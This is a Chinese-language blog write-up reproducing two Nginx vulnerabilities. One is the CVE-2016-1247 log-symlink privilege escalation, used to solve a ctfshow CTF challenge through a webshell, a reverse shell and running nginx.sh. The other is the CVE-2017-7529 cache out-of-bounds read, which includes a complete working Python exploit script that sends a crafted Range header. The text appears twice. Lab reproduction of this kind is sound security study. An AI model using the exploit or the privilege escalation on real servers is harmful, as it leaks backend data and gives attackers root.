c1oud
昂波利玻玻
January 10th, 2022
心血来潮看了个漏洞想复现一下
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3 Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3 Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6 Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
简单来说就是恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,具体的原理可以看看https://paper.seebug.org/122/http://blog.nsfocus.net/local-vulnerability-analysis-protection/还有个点就是当可以使用软连接来替换日志文件的时候,如果再满足nginx重启或者收到USR1信号这两个条件之一的话,那么就可以达到提权的操作。USR1信号的作用:
即重新打开日志文件,例如,向Apache HTTP服务器发送一个USR1信号将导致以下步骤的发生:停止接受新的连接,等待当前连接停止,重新载入配置文件,重新打开日志文件,重启服务器,从而实现相对平滑的不关机的更改
当然在存在漏洞的一些系统中,当调用do_rotate()函数的logrotate脚本的时候会发送USR1信号,脚本也会定时执行
可以看到,有个任务是每分钟都会执行一次,那就满足了条件
https://www.seebug.org/vuldb/ssvid-92538
ctfshow上的一道题:出题人不想跟你说话.jpg
给了提示: 为了降低难度,漏洞大约每两分钟触发一次 hint1: whoami && ls -l / hint2:如你们所说,提权,看看服务器有什么服务
明显一个cai,题目也说了除了练菜刀你还会个啥,先用蚁剑连来看看,连接成功后根目录下有个flag,打开没东西,根据提示先看看
除了练菜刀你还会个啥
明显要提权了,题目说了漏洞两分钟触发一次,先看看版本和定时任务
cat /etc/crontab,就是可以查看定时任务 lsb_release -a,列出所有linux系统版本信息 nginx -v,列出nginx版本信息
发现满足漏洞条件,照着网上直接打,这个利用好像必须要反弹shell,原理也不太懂。
注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。 通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。
反弹shell后执行以下命令
chmod +x nginx.sh ./nginx.sh ./nginx.sh /var/log/nginx/error.log
本来设置的是每天6.25才会触发,但是因为有一个一分钟的定时任务,运行脚本后等一会就好了
当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
Nginx version 0.5.6 - 1.13.2 修复版本 Nginx version 1.13.3, 1.12.1
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
搭建环境
cd vulhub/nginx/CVE-2017-7529 docker-compose up -d
直接用脚本打就行了
#!/usr/bin/env python import sys import requests if len(sys.argv)<2: print("%s url"%(sys.argv[0])) print("eg: python %s http://your-ip:8080/"%(sys.argv[0])) sys.exit() headers ={ 'User-Agent':"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset =605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range']="bytes=-%d,-%d"%( n,0x8000000000000000- n) r = requests.get(url, headers=headers) print(r.text)
前言
心血来潮看了个漏洞想复现一下
Nginx权限提升漏洞(CVE-2016-1247)
漏洞影响
Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
影响版本
下述版本之前均存在此漏洞:
漏洞原理
简单来说就是恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限,具体的原理可以看看https://paper.seebug.org/122/
http://blog.nsfocus.net/local-vulnerability-analysis-protection/
还有个点就是当可以使用软连接来替换日志文件的时候,如果再满足nginx重启或者收到USR1信号这两个条件之一的话,那么就可以达到提权的操作。
USR1信号的作用:
当然在存在漏洞的一些系统中,当调用do_rotate()函数的logrotate脚本的时候会发送USR1信号,脚本也会定时执行
可以看到,有个任务是每分钟都会执行一次,那就满足了条件
漏洞POC
https://www.seebug.org/vuldb/ssvid-92538
漏洞复现
ctfshow上的一道题:出题人不想跟你说话.jpg
明显一个cai,题目也说了
除了练菜刀你还会个啥
,先用蚁剑连来看看,连接成功后根目录下有个flag,打开没东西,根据提示先看看明显要提权了,题目说了漏洞两分钟触发一次,先看看版本和定时任务
发现满足漏洞条件,照着网上直接打,这个利用好像必须要反弹shell,原理也不太懂。
反弹shell后执行以下命令
本来设置的是每天6.25才会触发,但是因为有一个一分钟的定时任务,运行脚本后等一会就好了
Nginx越界读取缓存漏洞【CVE-2017-7529】
漏洞描述
当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。
影响版本
漏洞原理
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
漏洞复现
搭建环境
直接用脚本打就行了